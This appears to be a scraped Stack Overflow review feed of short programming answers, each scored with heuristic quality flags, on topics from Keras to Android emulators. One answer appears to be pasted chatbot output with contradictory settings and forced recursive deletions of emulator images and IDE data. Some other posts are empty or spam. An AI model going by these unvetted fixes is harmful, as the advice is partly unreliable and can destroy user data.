Score: 0.5
Natty:
Report link

The error occurs because network_1 and network_2 are not yet built. In keras, layers in a sequential model are not instantiated until the model is called on some input data. when you try to access the .output attribute of a sequential model you need to build or called it manually before accessing it. Please refer to this gist.

Reasons:
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Sagar

79188301

Date: 2024-11-14 10:28:51
Score: 4
Natty:
Report link

There are now some online converters, such as: https://catherinearnould.com/autres/resx/ which worked well for me.

Reasons:
  • Probably link only (1):
  • Low length (1.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Dennis

79188297

Date: 2024-11-14 10:28:51
Score: 0.5
Natty:
Report link

After a long search, a colleague was able to find the solution to the problem.

A .gitattributes file was committed in the project. In it, the *.jar files were configured as Git LFS files.

*.jar filter=lfs diff=lfs merge=lfs -text

Due to a merge, the gradle-wrapper.jar file was destroyed and could no longer be read.

After deleting the configuration for *.jar files and recreating the gradle-wrapper.jar, ./gradlew can now be used without an error.

Reasons:
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: tgallei

79188295

Date: 2024-11-14 10:28:51
Score: 1.5
Natty:
Report link

The specific Intel compiler compiler version should support "static stealing". To enable it, you need to use schedule(runtime) with the parallel do directive, like so:

!$omp parallel do schedule(runtime)

When running the application, set OMP_SCHEDULE=static_steal as an environment variable before you start the application, e.g, for bash-like shells:

export OMP_SCHEDULE=static_steal

or via localize environment:

OMP_SCHEDULE=static_steal ./my-application

The loop is then partitioned statically at first, but when threads run out of work, they can steal from other threads. Does that solve your problem?

Reasons:
  • RegEx Blacklisted phrase (1.5): solve your problem?
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • High reputation (-1):
Posted by: Michael Klemm

79188294

Date: 2024-11-14 10:28:51
Score: 1
Natty:
Report link

My recommendation would be to simply use a SSD with DRAM-cache instead of an SD-card.
Just write the data to disk without a memory buffer and let the cache handle it.
This is a very straightforward solution, it should provide predictable results so that you can dial in the rate at wich you write data to disk without overwhelming the cache.

If you simply have to use an SD-card you can influence the behaviour of the OS-level disk cache (assuming you are using Raspbian) by editing an option file in fstab.
Take a look at this post from the official raspberry forum to get an idea of how to influence the disk cache:
https://forums.raspberrypi.com/viewtopic.php?t=157743#p1026791

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Overminded

79188271

Date: 2024-11-14 10:24:49
Score: 4
Natty: 4
Report link

is it possible to define the bucket "le" size somehow per configuration that it do not generate the values by it self?

Something where I can say buckets le of : [0.05, 0.1, 0.3, 0.5, 1, 3, 5, 10, 30]

Seems to be possible in nestJS. But I can't find it for spring boot

Thanks,

Tom

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • Blacklisted phrase (1): is it possible to
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Starts with a question (0.5): is it
  • Low reputation (0.5):
Posted by: Tom K.

79188260

Date: 2024-11-14 10:24:48
Score: 1.5
Natty:
Report link

There are high opportunities for WordPress developers, but there is not a great payout for most of these opportunities. WordPress is used majorly by new-age startups or businesses looking only to have a simple website rather than a functional one. I have been working in the Web development domain for the past 6 years, if you are looking to make some big money, look into other coding skills MERN, Next.JS, and Laravel will have better opportunities to earn, and grow

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Nilaksh Dureja

79188242

Date: 2024-11-14 10:21:47
Score: 1
Natty:
Report link

Steps:

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Gospel John

79188222

Date: 2024-11-14 10:17:46
Score: 1.5
Natty:
Report link

Your submti button is out side of the <form> element place it inside the form element like this `your input fields... Send Message

`
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Dhyan Moradiya

79188214

Date: 2024-11-14 10:15:46
Score: 0.5
Natty:
Report link

Change ib.cancelMktData(tick_id) to ib.cancelMktData(instr) Based on ib_insync source code:

 def cancelMktData(self, contract: Contract):
    """
    Unsubscribe from realtime streaming tick data.

    Args:
        contract: The exact contract object that was used to
            subscribe with.
    """
    ticker = self.ticker(contract)
    reqId = self.wrapper.endTicker(ticker, 'mktData') if ticker else 0
    if reqId:
        self.client.cancelMktData(reqId)
    else:
        self._logger.error(
            'cancelMktData: ' f'No reqId found for contract {contract}')
Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Marius

79188207

Date: 2024-11-14 10:15:46
Score: 3
Natty:
Report link

GITHUB_TOKEN is a managed secret, it is automatically generated and injected into the workflow. There is no need to create a separate token for changesets.

See https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication#about-the-github_token-secret

also see https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token

Reasons:
  • Probably link only (1):
  • Low length (1):
  • Has code block (-0.5):
  • Starts with a question (0.5): is a
  • Low reputation (1):
Posted by: Felix F.

79188193

Date: 2024-11-14 10:11:42
Score: 8 🚩
Natty:
Report link

Please,

is there any new update for Outlook 2024/Outlook WEB and .NET 8 ? In new outlook drag and drop function starts like:

private void Form1_DragEnter(object sender, DragEventArgs e)
{
    if (e.Data.GetDataPresent("Chromium Web Custom MIME Data Format"))
        e.Effect = DragDropEffects.Copy;
    else
        e.Effect = DragDropEffects.None;
}

private void Form1_DragDrop(object sender, DragEventArgs e)
{
    if (e.Data.GetDataPresent("Chromium Web Custom MIME Data Format"))
    {
        var data = e.Data.GetData("Chromium Web Custom MIME Data Format");
        if (data is MemoryStream memoryStream)
        {
            var bytes = memoryStream.ToArray();
            var rawText = Encoding.UTF8.GetString(bytes);
            Debug.WriteLine(rawText);
        }
    }
}

But this is not working properly. Please can somebody help mi to get content of email (text, assigned files,...) from copy paste & new Outlook version?

Thank you.

Reasons:
  • Blacklisted phrase (0.5): Thank you
  • Blacklisted phrase (1): is there any
  • Blacklisted phrase (0.5): not working properly
  • RegEx Blacklisted phrase (3): can somebody help
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Looks like a comment (1):
  • Low reputation (1):
Posted by: user2046901

79188190

Date: 2024-11-14 10:10:42
Score: 2
Natty:
Report link

For me the key was to set -S runtimes and it went down to around 1'000 targets which are quickly compiled.

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: vwvw

79188183

Date: 2024-11-14 10:07:41
Score: 2.5
Natty:
Report link

"This might be because the FCM device token you generated has expired. Since the topic is associated with the device token, you should regenerate the device token and then re-subscribe to the topic. This may resolve the issue."

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Rounak Rajbhandari

79188181

Date: 2024-11-14 10:06:40
Score: 1.5
Natty:
Report link

Solutions

Try these solutions in order, as they progress from simple to more complex fixes:

1. GPU Configuration Fix

# Run emulator with GPU off
cd %ANDROID_HOME%/emulator
./emulator -gpu off -avd YOUR_AVD_NAME

Or modify the AVD configuration:

  1. Open AVD Manager
  2. Click 'Edit' (pencil icon) for your AVD
  3. Show Advanced Settings
  4. Under Emulated Performance:
    • Graphics: Select 'Software - GLES 2.0'
    • Change 'Enable GPU acceleration' to off

2. Update Graphics Drivers

  1. Install/Update GPU drivers
  2. For NVIDIA users:
    Control Panel → 3D Settings → Program Settings
    Add Android Emulator and set:
    - OpenGL rendering: Force software
    - Power management: Prefer maximum performance
    

3. Fix Environment Variables

# Add these to System Variables
ANDROID_HOME=C:\Users\[username]\AppData\Local\Android\Sdk
JAVA_HOME=C:\Program Files\Microsoft\jdk-17.0.8.7-hotspot\
Path=%Path%;%ANDROID_HOME%\tools;%ANDROID_HOME%\platform-tools;%ANDROID_HOME%\emulator

4. Clear AVD Data and Cache

# Windows PowerShell commands
Remove-Item -Recurse -Force "${env:USERPROFILE}\.android\avd\*"
Remove-Item -Recurse -Force "${env:LOCALAPPDATA}\Android\Sdk\system-images\*"

# Reinstall system images
sdkmanager --install "system-images;android-30;google_apis_playstore;x86"

5. Create New AVD with Specific Settings

# Create AVD via command line with optimal settings
avdmanager create avd -n "Pixel_3a_API_30" \
    -k "system-images;android-30;google_apis_playstore;x86" \
    -d "pixel_3a" \
    --force

# Edit config.ini
notepad %USERPROFILE%\.android\avd\Pixel_3a_API_30.avd\config.ini

Add these lines to config.ini:

hw.gpu.enabled=yes
hw.gpu.mode=off
disk.dataPartition.size=6442450944

6. Modify Studio Configuration

Edit studio64.exe.vmoptions:

# Location: %APPDATA%\Google\AndroidStudio[version]\studio64.exe.vmoptions
-Xmx2048m
-XX:MaxPermSize=512m
-XX:ReservedCodeCacheSize=240m
-XX:+UseConcMarkSweepGC
-XX:SoftRefLRUPolicyMSPerMB=50
-ea
-Dsun.io.useCanonCaches=false
-Djava.net.preferIPv4Stack=true
-Djdk.http.auth.tunneling.disabledSchemes=""
-XX:+HeapDumpOnOutOfMemoryError
-XX:-OmitStackTraceInFastThrow

Advanced Solutions

1. HAXM Installation Fix

# Uninstall existing HAXM
cd %ANDROID_HOME%\extras\intel\Hardware_Accelerated_Execution_Manager
silent_install.bat -u

# Download latest HAXM
# Install with custom settings
silent_install.bat -log -m 2048

2. Windows Hypervisor Fix

# PowerShell (Admin)
# Enable Hyper-V
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All

# OR Disable if using HAXM
Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All

3. Vulkan Support Check

# Check Vulkan installation
Get-ChildItem -Path C:\Windows\System32\vulkan* -File
Get-ChildItem -Path C:\Windows\SysWOW64\vulkan* -File

If missing:

  1. Download Vulkan SDK
  2. Install Graphics drivers with Vulkan support
  3. Add to PATH:
C:\VulkanSDK\[version]\Bin

Prevention Tips

  1. Regular Maintenance
# Clean Android Studio
File → Invalidate Caches / Restart

# Update SDK Tools
sdkmanager --update
  1. Performance Settings
<!-- In gradle.properties -->
org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m
org.gradle.parallel=true
org.gradle.daemon=true
  1. Monitoring
# Check emulator process
tasklist | findstr "qemu"
# Monitor GPU usage
nvidia-smi -l 1

Troubleshooting Steps

If issues persist:

  1. Check System Requirements
# PowerShell
systeminfo | Select-String "Total Physical Memory","Processor","OS Name"
  1. Verify Virtualization
# Command Prompt (Admin)
systeminfo | findstr /i "Virtualization"
  1. Log Analysis
# Check emulator logs
type %USERPROFILE%\.android\avd\*.log
  1. Clean Installation
# Remove Android Studio completely
Remove-Item -Recurse -Force "${env:LOCALAPPDATA}\Google\AndroidStudio*"
Remove-Item -Recurse -Force "${env:APPDATA}\Google\AndroidStudio*"

Remember to:

Would you like me to explain any specific part in more detail?

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Low reputation (1):
Posted by: Darshan Parmar

79188180

Date: 2024-11-14 10:06:40
Score: 5.5
Natty: 5.5
Report link

Are you still looking a solution for this?

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Rakesh Raghavendra

79188177

Date: 2024-11-14 10:05:40
Score: 1.5
Natty:
Report link

In VSCode 1.95 settings.json for me this works now (outside of [python]):

"autopep8.args": [
    "--max-line-length",
    "120",
    "--experimental"
],
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Tobias Seiler

79188175

Date: 2024-11-14 10:05:40
Score: 1.5
Natty:
Report link

For me it's that I was accidentally in the Release configuration.

Switching it to Debug in the top bar fixed my issue.

I was hitting breakpoints in my tests but not in the code under test. The code under test was in a different project in the same solution and the breakpoints didn't work there until the above change.

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Armand Bernard

79188159

Date: 2024-11-14 10:02:39
Score: 3
Natty:
Report link

Also check if there is a process autorestarting on port 5000.

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: bsesic

79188155

Date: 2024-11-14 10:00:38
Score: 2.5
Natty:
Report link

In my case it was disk full, it could also be permissions, but before doing a blind restart. Check that your directory, disk and permissions are OK.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Enin Kaduk

79188154

Date: 2024-11-14 10:00:38
Score: 0.5
Natty:
Report link

When you set autoCancel: false in Notifee, it ensures the notification does not automatically disappear after the user interacts with it (e.g., taps or opens it).

You've already done this, so it should work for you.

Additionally, you've included the following lines:

fullScreenAction: {
  id: 'default', // Specifies the action ID for full screen
  mainComponent: 'custom-component',
}

This ensures the notification will open in full-screen mode. Your setup seems correct. it will be full screen and it will close only in case where user interact with it. if it doesn't your problem will be somewhere else.

Read the link for official Documentations:

https://notifee.app/react-native/reference/notificationandroid#autocancel

https://notifee.app/react-native/docs/android/behaviour#full-screen

Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Starts with a question (0.5): When you
  • Low reputation (1):
Posted by: Izaz Ahmad

79188153

Date: 2024-11-14 10:00:38
Score: 1
Natty:
Report link

for myself, as a non-native english person I "invented" this deciphering:

Incremental Output To Array

in order to be not confused with itoa

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: papirosnik

79188150

Date: 2024-11-14 10:00:38
Score: 1
Natty:
Report link

I think your 5000, 3000 port still occupied by the some processor. you can recheck the port numbers are still occupied. i have added some commands to check the ports are still occupied by another process.

1.if you'r using windows you will run this netstat -ano | findstr /I "5000" command in your cmd

2.if you are using linux system you will run this sudo lsof -i:5000 command in your terminal

if the ports are occupied by some processor you can change the port number and run your project otherwise you will kill the processor using pid, after run the project.

i have added the command, how to kill the running processor.

1.LINUX (sudo kill -9 pid(replace the actual pid))

2.LINUX ( kill -9 pid(replace the actual pid))

linux command execution example

windows command execution example

Note: Only kill the process if it is a Node.js process. If it's another service, choose a different port.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: vijay.devcode

79188148

Date: 2024-11-14 10:00:38
Score: 3.5
Natty:
Report link

you can try using a fixed height for both TextField and Dropdown

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: AnhNT

79188147

Date: 2024-11-14 09:59:38
Score: 1.5
Natty:
Report link

We were at least two in our company having this problem suddenly, so fixing this issue at server level was needed, instead of changing a setting in VSCode. This solution fixed the server and VSCode is now able to create a new terminal again :

https://github.com/microsoft/vscode-remote-release/issues/4233#issuecomment-815198379

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Gilles Charlier

79188146

Date: 2024-11-14 09:58:37
Score: 1.5
Natty:
Report link

Causes and Solutions:

  1. Weak or Disconnected Internet Connection: Check Your Internet Connection: Ensure that your internet connection is stable. You can open other websites to verify that your internet is working properly.

  2. Proxy or Firewall: If you are behind a proxy or firewall, these settings might prevent npm from connecting to the internet. Check and remove proxy settings if necessary:

  3. Using a VPN: Using a VPN may help you bypass network restrictions.

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Qian Moss

79188138

Date: 2024-11-14 09:56:37
Score: 2.5
Natty:
Report link

To prevent duplicate records with the same epoch time in your database, use the epoch time in milliseconds and apply a unique constraint on the relevant column. This will ensure each record has a distinct timestamp, and the database enforces uniqueness.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Suraj Bhalerao

79188133

Date: 2024-11-14 09:54:36
Score: 3
Natty:
Report link

The problem may be in the styling for the element containing the map div. Try setting a width and height for the map div as either a percentage or fixed value.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Tim

79188124

Date: 2024-11-14 09:53:36
Score: 5
Natty:
Report link

i am trying to paste a link to see if it works , it does not have anything related to the question - https://youtu.be/3wCnVvdrqy8?si=9aZg06kxh9yN_LmZ

Reasons:
  • Blacklisted phrase (1): i am trying to
  • Blacklisted phrase (1): youtu.be
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Luffy

79188121

Date: 2024-11-14 09:52:36
Score: 2
Natty:
Report link

To change the custom namespace update the autoload psr-4 variable in composer.json file. Update all the files wherever the namespace is included. And make sure to run the following command:

composer dump-autoload

I hope this works for your problem.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Rhythm Dubey

79188112

Date: 2024-11-14 09:48:35
Score: 2
Natty:
Report link

initialPosition: used when the streaming job starts for the first time, Also determines the initial offset to start reading data.

startingPosition: Used when the streaming job restarts after a failure or manual restart, Also Determines the offset to resume processing from after a restart.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Gurunandan Rao

79188110

Date: 2024-11-14 09:48:35
Score: 2
Natty:
Report link

You can check your boot times and sql query exec times with barryvdh/laravel-debugbar.

If your problem in your code you can debug with that. But the problem may also be server-related. First, you can analyze whether it is not code-related and then examine the server separately.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Selcuk Mollaibrahimoğlu

79188105

Date: 2024-11-14 09:45:34
Score: 1
Natty:
Report link

In macos, export to path will only temporarily set it. If you want to permanently set it, use sudo vi /etc/paths and add $HOME/.pub-cache/bin to new line

Note: Press i to switch to insert mode. After you set it you should do :wq

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Göktürk

79188098

Date: 2024-11-14 09:43:33
Score: 2
Natty:
Report link

I tested this code, phpmailer make it loop indefinetly.

I use a provider requesting several scopes, put the token in a session, and used a class.

$provider = new TheNetworg\OAuth2\Client\Provider\Azure([
            'clientId'          => 'xyz',
            'clientSecret'      => 'xyz',
            'tenantId' => 'xyz',
            'redirectUri'       => 'http://localhost/myurl',
            'scopes'            => ['openid profile email offline_access https://outlook.office.com/SMTP.Send'],
            'defaultEndPointVersion' => '2.0',
            'accessType' => 'offline'
        ]);

class MyTokenProvider implements OAuthTokenProvider{

public function getOauth64(){
    return base64_encode(
        'user=' .
        $_SESSION['userEmail'].
        "\001auth=Bearer " .
        $_SESSION['token'].
        "\001\001"
    );
}

then

$myOwnOauth = new MyTokenProvider();

$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->SMTPAuth = true;
$mail->AuthType = 'XOAUTH2';
$mail->setOAuth($myOwnOauth );

etc

phpmailer then loop non stop, microsoft displaying too many requests and after several minutes : SMTP ERROR: AUTH command failed: 535 5.7.3 Authentication unsuccessful I'm able to mail with graph api with the token but can't make it works with phpmailer.

is there something i missed?

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Yann

79188092

Date: 2024-11-14 09:41:33
Score: 3
Natty:
Report link

Go to site settings Lightbox

Disable all except Image Lightbox😎

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: bayas

79188080

Date: 2024-11-14 09:38:32
Score: 2.5
Natty:
Report link

The flutter team has confirmed that as of November 14, 2024, This is a known issue with Flutter (Reported mainly with Samasung)

https://github.com/flutter/flutter/issues/122994

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: David Somekh

79188079

Date: 2024-11-14 09:38:32
Score: 0.5
Natty:
Report link

Try using cellClassRules instead

columnDefs: [
{
    field: 'car_brand',
    cellClassRules: {
        'pass': params => params.value !== '',
        'fail': params => params.value === '',
    }
 }],

the pass and fail are your css classes.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: aries12

79188077

Date: 2024-11-14 09:37:32
Score: 3
Natty:
Report link

In my case, because the data was migrated to a new server, there was a mismatch in data types, which was causing the concurrency error. As soon as I changed it to the data type that EF Core (RoleManager) was expecting, the error was resolved.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Omozuwa

79188075

Date: 2024-11-14 09:36:31
Score: 1
Natty:
Report link

If your velocity macro calls a java method, you can put a breakpoint into that method. Not much help, but more than nothing.

Personally, I usually "print" the vairables into the html, but that is very dangerous, because I can easily forget to remove...

Reasons:
  • Low length (0.5):
  • No code block (0.5):
Posted by: PeterB

79188073

Date: 2024-11-14 09:36:31
Score: 1
Natty:
Report link

flutter -v doctor [✓] Flutter (Channel stable, 3.24.5, on macOS 14.6.1 23G93 darwin-x64, locale fr-FR) • Flutter version 3.24.5 on channel stable at /Users/doandgo/Desktop/Programmation/GitHub/flutter • Upstream repository https://github.com/flutter/flutter.git • Framework revision dec2ee5c1f (14 hours ago), 2024-11-13 11:13:06 -0800 • Engine revision a18df97ca5 • Dart version 3.5.4 • DevTools version 2.37.3

[✓] Android toolchain - develop for Android devices (Android SDK version 35.0.0) • Android SDK at /Users/doandgo/Library/Android/sdk • Platform android-35, build-tools 35.0.0 • ANDROID_SDK_ROOT = /Users/doandgo/Library/Android/sdk • Java binary at: /Applications/Android Studio.app/Contents/jbr/Contents/Home/bin/java • Java version OpenJDK Runtime Environment (build 17.0.11+0-17.0.11b1207.24-11852314) • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 16.1) • Xcode at /Applications/Xcode.app/Contents/Developer • Build 16B40 • CocoaPods version 1.16.2

[✓] Chrome - develop for the web • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2024.1) • Android Studio at /Applications/Android Studio.app/Contents • Flutter plugin can be installed from: 🔨 https://plugins.jetbrains.com/plugin/9212-flutter • Dart plugin can be installed from: 🔨 https://plugins.jetbrains.com/plugin/6351-dart • Java version OpenJDK Runtime Environment (build 17.0.11+0-17.0.11b1207.24-11852314)

[✓] VS Code (version 1.92.2) • VS Code at /Users/doandgo/Desktop/Visual Studio Code.app/Contents • Flutter extension version 3.100.0

[✓] Connected device (3 available) • iPhone doandgo (mobile) • 00008030-001A054A2289802E • ios • iOS 17.5.1 21F90 • macOS (desktop) • macos • darwin-x64 • macOS 14.6.1 23G93 darwin-x64 • Chrome (web) • chrome • web-javascript • Google Chrome 130.0.6723.117

[✓] Network resources • All expected network resources are available.

AND

Showing outdated packages. [*] indicates versions that are not the latest available.

Package Name Current Upgradable Resolvable Latest

direct dependencies:
intl *0.19.0 *0.19.0 *0.19.0 0.20.0
riverpod_generator *2.6.1 *2.6.1 *2.6.1 2.6.2

dev_dependencies:
custom_lint *0.6.4 *0.6.4 *0.6.4 0.7.0
riverpod_lint *2.6.1 *2.6.1 *2.6.1 2.6.2

transitive dependencies:
_fe_analyzer_shared *72.0.0 *72.0.0 *72.0.0 76.0.0
analyzer *6.7.0 *6.7.0 *6.7.0 6.11.0
async *2.11.0 *2.11.0 *2.11.0 2.12.0
boolean_selector *2.1.1 *2.1.1 *2.1.1 2.1.2
characters *1.3.0 *1.3.0 *1.3.0 1.3.1
clock *1.1.1 *1.1.1 *1.1.1 1.1.2
collection *1.18.0 *1.18.0 *1.18.0 1.19.1
custom_lint_core *0.6.3 *0.6.3 *0.6.3 0.7.0
fake_async *1.3.1 *1.3.1 *1.3.1 1.3.2
http_parser *4.0.2 *4.0.2 *4.0.2 4.1.1
js *0.6.7 *0.6.7 *0.6.7 0.7.1
leak_tracker *10.0.5 *10.0.5 *10.0.5 10.0.8
leak_tracker_flutter_testing *3.0.5 *3.0.5 *3.0.5 3.0.9
macros *0.1.2-main.4 *0.1.2-main.4 *0.1.2-main.4 0.1.3-main.0
matcher *0.12.16+1 *0.12.16+1 *0.12.16+1 0.12.17
material_color_utilities *0.11.1 *0.11.1 *0.11.1 0.12.0
meta *1.15.0 *1.15.0 *1.15.0 1.16.0
path *1.9.0 *1.9.0 *1.9.0 1.9.1
riverpod_analyzer_utils *0.5.6 *0.5.6 *0.5.6 0.5.7
rxdart *0.27.7 *0.27.7 *0.27.7 0.28.0
shelf *1.4.1 *1.4.1 *1.4.1 1.4.2
stack_trace *1.11.1 *1.11.1 *1.11.1 1.12.0
string_scanner *1.2.0 *1.2.0 *1.2.0 1.4.0
test_api *0.7.2 *0.7.2 *0.7.2 0.7.3
vm_service *14.2.5 *14.2.5 *14.2.5 14.3.1
win32_registry *1.1.5 *1.1.5 *1.1.5 2.0.0

transitive dev_dependencies: custom_lint_builder *0.6.4 *0.6.4 *0.6.4 0.7.0
lints *5.0.0 *5.0.0 *5.0.0 5.1.0

All packages are up to date

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: pierre pontfort

79188070

Date: 2024-11-14 09:35:31
Score: 2.5
Natty:
Report link

Managed to figure it out in the end. The samples from PortAudio are interleaved into 1 sample. So one sample contains left and right, I was combining left and right pairs with other left and right pairs.

I needed to split the individual samples from the 'samples' array into two, in order to get the left and right audio streams. Once I got that figured out, I could actually average them into 1 stream by adding them together and dividing by 2 into a single signed int16.

Reasons:
  • Blacklisted phrase (0.5): I need
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Andre Streimann

79188063

Date: 2024-11-14 09:32:30
Score: 4
Natty: 5.5
Report link

hello please i need the code that used on this rectangular image to use it on my project

Reasons:
  • Blacklisted phrase (0.5): i need
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Youssef BOUH

79188062

Date: 2024-11-14 09:32:30
Score: 1.5
Natty:
Report link

There is no SDK for vb.net. There is hardly any SDK. ZKTeco only released a low quality SDK for C#.

They try to make it harder for you to use custom software to force you to buy thier shitty software.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: MuaazH

79188061

Date: 2024-11-14 09:32:30
Score: 1
Natty:
Report link

You can do a workaround

.docblock-argstable .docblock-argstable-head th:nth-child(3) {
  display: none !important;
}


.docblock-argstable .docblock-argstable-body td:nth-child(3) {
  display: none !important;
}

But you need to link the stylesheet to manager-head.html inside .storybook dir

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Abdulrahman Khlefat

79188060

Date: 2024-11-14 09:32:30
Score: 3.5
Natty:
Report link

add this line use_symfony_listeners: true in file api_platform.yaml

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: sahbi.khlifi

79188059

Date: 2024-11-14 09:32:30
Score: 0.5
Natty:
Report link

try this

http.Handle("GET /logs/{path...}", http.StripPrefix("/logs",   http.FileServer(http.Dir(logDir))))
Reasons:
  • Whitelisted phrase (-1): try this
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Jack Rockmen

79188056

Date: 2024-11-14 09:31:29
Score: 0.5
Natty:
Report link

Have you tried different learning rates? I had a similar problem and the problem was that the learning rate was too small.

Also there was a post about a similar problem: Training uNet model the prediction is only black

Hope this helps.

Reasons:
  • Whitelisted phrase (-1): Hope this helps
  • Whitelisted phrase (-1): Have you tried
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: lordbr3tz

79188050

Date: 2024-11-14 09:28:29
Score: 0.5
Natty:
Report link

I have resolved the issue by first adding @rendermode InteractiveServer to the page since I'm using a Blazor server application and by removing the OnInitializedAsync() method from the code so the final code becomes:

@page "/checkout"
@attribute [Authorize]
@rendermode InteractiveServer
@inject AuthenticationStateProvider _authStateProvider
@inject ICartService _cartService
@inject IUserService _userService
@inject IConfiguration _configuration
@inject IJSRuntime JS
@inject NavigationManager _navigation

<PageTitle>Checkout | LearnSpace</PageTitle>
<SectionContent SectionName="page-header-title">Checkout</SectionContent>

<div>
    <h2>Checkout</h2>
    <button class="btn btn-primary" @onclick="ProcessCheckout">Place Order</button>
    <a href="/cart" class="btn btn-secondary">Back to Shopping Bag</a>
</div>

@code {
    private bool shouldRedirect;
    private string authorizationUrl;
    private bool shouldOpenInNewTab = false;

    private async Task ProcessCheckout()
    {
        try
        {
            // Initialize checkout process
            var userId = await GetUserIdAsync();
            var netTotal = await _cartService.GetBasketNetTotalAsync(userId);

            var authState = await _authStateProvider.GetAuthenticationStateAsync();
            var user = authState.User;
            string strEmail = user.FindFirst(System.Security.Claims.ClaimTypes.Email)?.Value;

            string token = _configuration["PayStackSettings:PayStackSecretKey"];
            var payStack = new PayStackApi(token);

            TransactionInitializeRequest request = new()
            {
                AmountInKobo = Convert.ToInt32(netTotal) * 100,
                Email = strEmail,
                Reference = Generate().ToString(),
                Currency = "GHS"
            };

            // Initiate transaction
            var response = payStack.Transactions.Initialize(request);
            if (response.Status)
            {
                authorizationUrl = response.Data.AuthorizationUrl;
                shouldOpenInNewTab = true;
                StateHasChanged(); // Trigger re-render to ensure OnAfterRenderAsync runs
            }
        }
        catch (Exception ex)
        {            
            throw new Exception(ex.Message);
        }
    }

    protected override async Task OnAfterRenderAsync(bool firstRender)
    {
        if (shouldOpenInNewTab && authorizationUrl != null)
        {
            shouldOpenInNewTab = false; // Reset the flag after the redirect
            await JS.InvokeVoidAsync("openInNewTab", authorizationUrl);
        }
    }

    private async Task<string> GetUserIdAsync()
    {
        var authState = await _authStateProvider.GetAuthenticationStateAsync();
        var user = authState.User;
        return user.FindFirst(System.Security.Claims.ClaimTypes.NameIdentifier)?.Value;
    }

    private static int Generate() => new Random((int)DateTime.Now.Ticks).Next(100000000, 999999999);
}

So that's it.

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • User mentioned (1): @rendermode
  • Self-answer (0.5):
  • Low reputation (0.5):
